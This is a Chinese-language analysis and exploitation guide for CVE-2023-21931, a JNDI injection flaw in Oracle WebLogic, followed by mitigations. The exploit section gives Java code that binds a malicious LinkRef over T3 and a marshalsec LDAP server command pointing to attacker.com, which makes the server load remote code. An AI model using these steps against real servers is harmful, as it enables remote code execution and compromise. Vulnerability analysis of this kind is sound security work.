CVE-2023-21931 Weblogic JNDI注入漏洞原理分析及漏洞利用
字数 1314 2025-08-25 22:58:56

CVE-2023-21931 WebLogic JNDI注入漏洞分析与利用指南

漏洞概述

CVE-2023-21931是Oracle WebLogic Server中的一个JNDI注入漏洞,影响以下版本:

  • 12.2.1.3.0
  • 12.2.1.4.0
  • 14.1.1.0.0

该漏洞允许攻击者通过T3协议向WebLogic服务发送恶意请求,导致JNDI注入攻击,可能实现远程代码执行。

漏洞原理

核心机制

该漏洞与之前的CVE-2023-21839类似,都是由于WebLogic的T3/IIOP协议支持远程绑定对象(bind/rebind)到服务端,并在调用lookup时存在参数可控的问题。

具体来说,当WebLogic处理LinkRef对象时,会调用LinkRef#getLinkName方法获取ldap查询字符串,而这个字符串可以被攻击者控制,从而导致JNDI注入。

关键调用栈

漏洞触发时的关键调用栈如下:

  1. InitialContext.lookup
  2. WLNamingManager.getObjectInstance
  3. ServerNamingNode.resolveObject
  4. BasicNamingNode.resolveObject
  5. BasicNamingNode.lookup
  6. RootNamingNode_WLSkel.invoke
  7. BasicServerRef.invoke

漏洞分析

漏洞触发点

漏洞主要存在于WLNamingManager#getObjectInstance方法中,当处理绑定的对象是LinkRef类型时,会进入特定的处理分支:

else if (var3 instanceof LinkRef) {
    LinkRef var4 = (LinkRef)var3;
    String var5 = var4.getLinkName();
    if (var5 != null) {
        var2 = this.getInitialContext().lookup(var5);
    }
}

攻击者可以通过构造恶意的LinkRef对象,控制getLinkName()返回的字符串,从而控制lookup方法的参数。

验证Demo

一个简单的验证代码如下:

LinkRef linkRef = new LinkRef("ldap://attacker.com:1389/malicious");
// 绑定到WebLogic
context.rebind("vulnerable", linkRef);
// 触发漏洞
context.lookup("vulnerable");

漏洞利用

利用步骤

  1. 准备恶意LDAP服务器:搭建一个恶意的LDAP服务器,指向包含恶意Java类的HTTP服务器。

  2. 绑定恶意对象

    String url = "t3://target:7001";
    Hashtable env1 = new Hashtable();
    env1.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
    env1.put(Context.PROVIDER_URL, url);
    InitialContext c = new InitialContext(env1);
    
    LinkRef linkRef = new LinkRef("ldap://attacker:1389/exploit");
    c.rebind("exploit", linkRef);
    
  3. 触发漏洞:通过调用lookup方法触发JNDI注入:

    context.lookup("exploit");
    

实际利用示例

  1. 启动JNDI注入工具(如marshalsec):

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
    
  2. 运行漏洞利用程序绑定恶意LinkRef对象。

  3. 成功利用后,攻击者可以在目标服务器上执行任意代码。

防御措施

  1. 官方补丁:及时应用Oracle发布的安全补丁。

  2. 网络防护

    • 限制WebLogic服务的网络访问,只允许可信IP访问T3/IIOP端口
    • 在网络边界过滤包含恶意JNDI查询的T3协议流量
  3. 配置加固

    • 禁用不必要的协议(如T3)
    • 设置weblogic.jndi.enableLookup为false禁用JNDI查找功能
  4. 运行时防护

    • 部署RASP解决方案监控可疑的JNDI操作
    • 使用Java安全管理器限制JNDI操作

参考资源

  1. NVD漏洞详情
  2. 相关技术分析文章

总结

CVE-2023-21931是一个严重的WebLogic安全漏洞,允许攻击者通过JNDI注入实现远程代码执行。理解其原理和利用方式对于安全研究人员和系统管理员都至关重要,既能帮助进行有效的漏洞验证,也能指导正确的防御措施部署。

CVE-2023-21931 WebLogic JNDI注入漏洞分析与利用指南 漏洞概述 CVE-2023-21931是Oracle WebLogic Server中的一个JNDI注入漏洞,影响以下版本: 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 该漏洞允许攻击者通过T3协议向WebLogic服务发送恶意请求,导致JNDI注入攻击,可能实现远程代码执行。 漏洞原理 核心机制 该漏洞与之前的CVE-2023-21839类似,都是由于WebLogic的T3/IIOP协议支持远程绑定对象(bind/rebind)到服务端,并在调用lookup时存在参数可控的问题。 具体来说,当WebLogic处理LinkRef对象时,会调用 LinkRef#getLinkName 方法获取ldap查询字符串,而这个字符串可以被攻击者控制,从而导致JNDI注入。 关键调用栈 漏洞触发时的关键调用栈如下: InitialContext.lookup WLNamingManager.getObjectInstance ServerNamingNode.resolveObject BasicNamingNode.resolveObject BasicNamingNode.lookup RootNamingNode_WLSkel.invoke BasicServerRef.invoke 漏洞分析 漏洞触发点 漏洞主要存在于 WLNamingManager#getObjectInstance 方法中,当处理绑定的对象是 LinkRef 类型时,会进入特定的处理分支: 攻击者可以通过构造恶意的 LinkRef 对象,控制 getLinkName() 返回的字符串,从而控制 lookup 方法的参数。 验证Demo 一个简单的验证代码如下: 漏洞利用 利用步骤 准备恶意LDAP服务器 :搭建一个恶意的LDAP服务器,指向包含恶意Java类的HTTP服务器。 绑定恶意对象 : 触发漏洞 :通过调用 lookup 方法触发JNDI注入: 实际利用示例 启动JNDI注入工具(如marshalsec): 运行漏洞利用程序绑定恶意 LinkRef 对象。 成功利用后,攻击者可以在目标服务器上执行任意代码。 防御措施 官方补丁 :及时应用Oracle发布的安全补丁。 网络防护 : 限制WebLogic服务的网络访问,只允许可信IP访问T3/IIOP端口 在网络边界过滤包含恶意JNDI查询的T3协议流量 配置加固 : 禁用不必要的协议(如T3) 设置 weblogic.jndi.enableLookup 为false禁用JNDI查找功能 运行时防护 : 部署RASP解决方案监控可疑的JNDI操作 使用Java安全管理器限制JNDI操作 参考资源 NVD漏洞详情 相关技术分析文章 总结 CVE-2023-21931是一个严重的WebLogic安全漏洞,允许攻击者通过JNDI注入实现远程代码执行。理解其原理和利用方式对于安全研究人员和系统管理员都至关重要,既能帮助进行有效的漏洞验证,也能指导正确的防御措施部署。